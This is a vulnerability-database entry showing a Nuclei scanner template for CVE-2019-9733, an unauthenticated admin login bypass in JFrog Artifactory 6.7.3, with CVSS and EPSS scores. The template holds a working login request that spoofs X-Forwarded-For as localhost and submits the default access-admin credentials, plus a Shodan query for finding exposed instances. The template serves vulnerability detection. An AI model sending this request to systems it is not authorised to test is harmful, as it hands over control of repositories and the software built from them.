Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2019-9733
HistoryOct 01, 2020 - 6:40 a.m.

JFrog Artifactory 6.7.3 - Admin Login Bypass

2020-10-0106:40:15
ProjectDiscovery
github.com
35

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

0.853 High

EPSS

Percentile

98.6%

JFrog Artifactory 6.7.3 is vulnerable to an admin login bypass issue because by default the access-admin account is used to reset the password of the admin account. While this is only allowable from a connection directly from localhost, providing an X-Forwarded-For HTTP header to the request allows an unauthenticated user to login with the default credentials of the access-admin account while bypassing the whitelist of allowed IP addresses. The access-admin account can use Artifactory’s API to request authentication tokens for all users including the admin account and, in turn, assume full control of all artifacts and repositories managed by Artifactory.

id: CVE-2019-9733

info:
  name: JFrog Artifactory 6.7.3 - Admin Login Bypass
  author: akshansh
  severity: critical
  description: JFrog Artifactory 6.7.3 is vulnerable to an admin login bypass issue because by default the access-admin account is used to reset the password of the admin account. While this is only allowable from a connection directly from localhost, providing an X-Forwarded-For HTTP header to the request allows an unauthenticated user to login with the default credentials of the access-admin account while bypassing the whitelist of allowed IP addresses. The access-admin account can use Artifactory's API to request authentication tokens for all users including the admin account and, in turn, assume full control of all artifacts and repositories managed by Artifactory.
  impact: |
    Successful exploitation allows unauthorized access to the admin panel.
  remediation: |
    Upgrade to a patched version of JFrog Artifactory or apply the necessary security patches.
  reference:
    - http://packetstormsecurity.com/files/152172/JFrog-Artifactory-Administrator-Authentication-Bypass.html
    - https://www.ciphertechs.com/jfrog-artifactory-advisory/
    - https://www.jfrog.com/confluence/display/RTF/Release+Notes#ReleaseNotes-Artifactory6.8.6
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9733
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-9733
    epss-score: 0.85254
    epss-percentile: 0.98535
    cpe: cpe:2.3:a:jfrog:artifactory:6.7.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jfrog
    product: artifactory
    shodan-query: cpe:"cpe:2.3:a:jfrog:artifactory"
  tags: cve,cve2019,packetstorm,artifactory,login,jfrog

http:
  - raw:
      - |
        POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        X-Requested-With: artUI
        X-Forwarded-For: 127.0.0.1
        Request-Agent: artifactoryUI
        Content-Type: application/json
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/artifactory/webapp/

        {"user":"access-admin","password":"password","type":"login"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username": "access-admin"'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100eebdf2f23a74fda226a58cca586b03c57c6a0dbe50b6b941f2c0ed90d57b944502202f792f81700313b1ca9bb29eb32f003f34a2bbd801a02c7b2d4310aec0b79c8c:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.9 High

AI Score

Confidence

High

0.853 High

EPSS

Percentile

98.6%

Related for NUCLEI:CVE-2019-9733